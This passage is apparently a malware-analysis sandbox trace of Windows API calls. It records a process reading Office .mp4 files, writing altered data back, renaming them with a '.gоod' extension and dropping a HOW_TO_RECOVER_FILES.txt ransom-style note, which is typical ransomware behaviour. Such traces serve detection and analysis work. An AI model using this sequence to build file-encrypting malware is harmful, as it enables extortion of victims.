ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a13e667, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19778)) returned 1 [0157.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0157.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8.mp4.gоod" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8.mp4.gоod")) returned 1 [0157.480] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", lpFilePart=0x0) returned 0x41 [0157.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0157.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), fInfoLevelId=0x0, lpFileInformation=0x3404728 | out: lpFileInformation=0x3404728*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115b4243, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115b4243, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a00)) returned 1 [0157.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0157.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", lpFilePart=0x0) returned 0x41 [0157.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0157.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0157.481] GetFileType (hFile=0x808) returned 0x1 [0157.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0157.481] GetFileType (hFile=0x808) returned 0x1 [0157.481] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0157.481] ReadFile (in: hFile=0x808, lpBuffer=0x3404b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3404b50*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0157.567] CloseHandle (hObject=0x808) returned 1 [0157.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", lpFilePart=0x0) returned 0x41 [0157.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0157.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0157.567] GetFileType (hFile=0x808) returned 0x1 [0157.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0157.567] GetFileType (hFile=0x808) returned 0x1 [0157.567] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x19a00 [0157.567] WriteFile (in: hFile=0x808, lpBuffer=0x3537670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3537670*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0157.568] CloseHandle (hObject=0x808) returned 1 [0157.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", lpFilePart=0x0) returned 0x41 [0157.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0157.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0157.568] GetFileType (hFile=0x808) returned 0x1 [0157.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0157.568] GetFileType (hFile=0x808) returned 0x1 [0157.568] ReadFile (in: hFile=0x808, lpBuffer=0x3539938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3539938*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0157.638] CloseHandle (hObject=0x808) returned 1 [0157.638] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", lpFilePart=0x0) returned 0x41 [0157.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0157.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0157.639] GetFileType (hFile=0x808) returned 0x1 [0157.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0157.639] GetFileType (hFile=0x808) returned 0x1 [0157.639] WriteFile (in: hFile=0x808, lpBuffer=0x3538688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3538688*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0157.639] CloseHandle (hObject=0x808) returned 1 [0157.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4", lpFilePart=0x0) returned 0x41 [0157.639] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4.gоod", lpFilePart=0x0) returned 0x46 [0157.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0157.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115b4243, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115b4243, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a2bbd7e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x19a10)) returned 1 [0157.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0157.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win8_RTL.mp4.gоod" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win8_rtl.mp4.gоod")) returned 1 [0157.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\fre\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0157.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0157.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\fre\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0157.641] GetFileType (hFile=0x808) returned 0x1 [0157.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0157.641] GetFileType (hFile=0x808) returned 0x1 [0157.642] WriteFile (in: hFile=0x808, lpBuffer=0x35b9108*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x35b9108*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0157.642] CloseHandle (hObject=0x808) returned 1 [0159.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0159.460] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration", lpFilePart=0x0) returned 0x32 [0159.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.460] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe33a4c67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe33a4c67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3607185, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RInt.16.msi", cAlternateFileName="C2RINT~1.MSI")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe384358e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe384358e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3acbcd3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RIntLoc.en-us.16.msi", cAlternateFileName="C2RINT~2.MSI")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1 [0159.461] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2dfa2a2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2dfa2a2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.lyncmui.msi.16.en-us.xml", cAlternateFileName="C2FCD6~1.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3593a88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32mui.msi.16.en-us.xml", cAlternateFileName="C2BADD~1.XML")) returned 1 [0159.462] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2b97d2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2b97d2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2cc8f5f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.office32ww.msi.16.x-none.xml", cAlternateFileName="C2EBFE~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd36c4db5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19870, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemui.msi.16.en-us.xml", cAlternateFileName="C29059~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd38424c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.officemuiset.msi.16.en-us.xml", cAlternateFileName="C2467F~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd295b9b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", cAlternateFileName="C21839~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd360620a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd360620a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd375d6d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.onenotemui.msi.16.en-us.xml", cAlternateFileName="C24C3D~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd276bb03, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd276bb03, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29a7ddb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", cAlternateFileName="C24EFF~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3593a88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3593a88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3678904, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmmui.msi.16.en-us.xml", cAlternateFileName="C25F09~1.XML")) returned 1 [0159.463] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd28c2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x906, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", cAlternateFileName="C22C6F~1.XML")) returned 1 [0159.464] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd356d87a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd356d87a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.osmuxmui.msi.16.en-us.xml", cAlternateFileName="C21C45~1.XML")) returned 1 [0159.464] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, 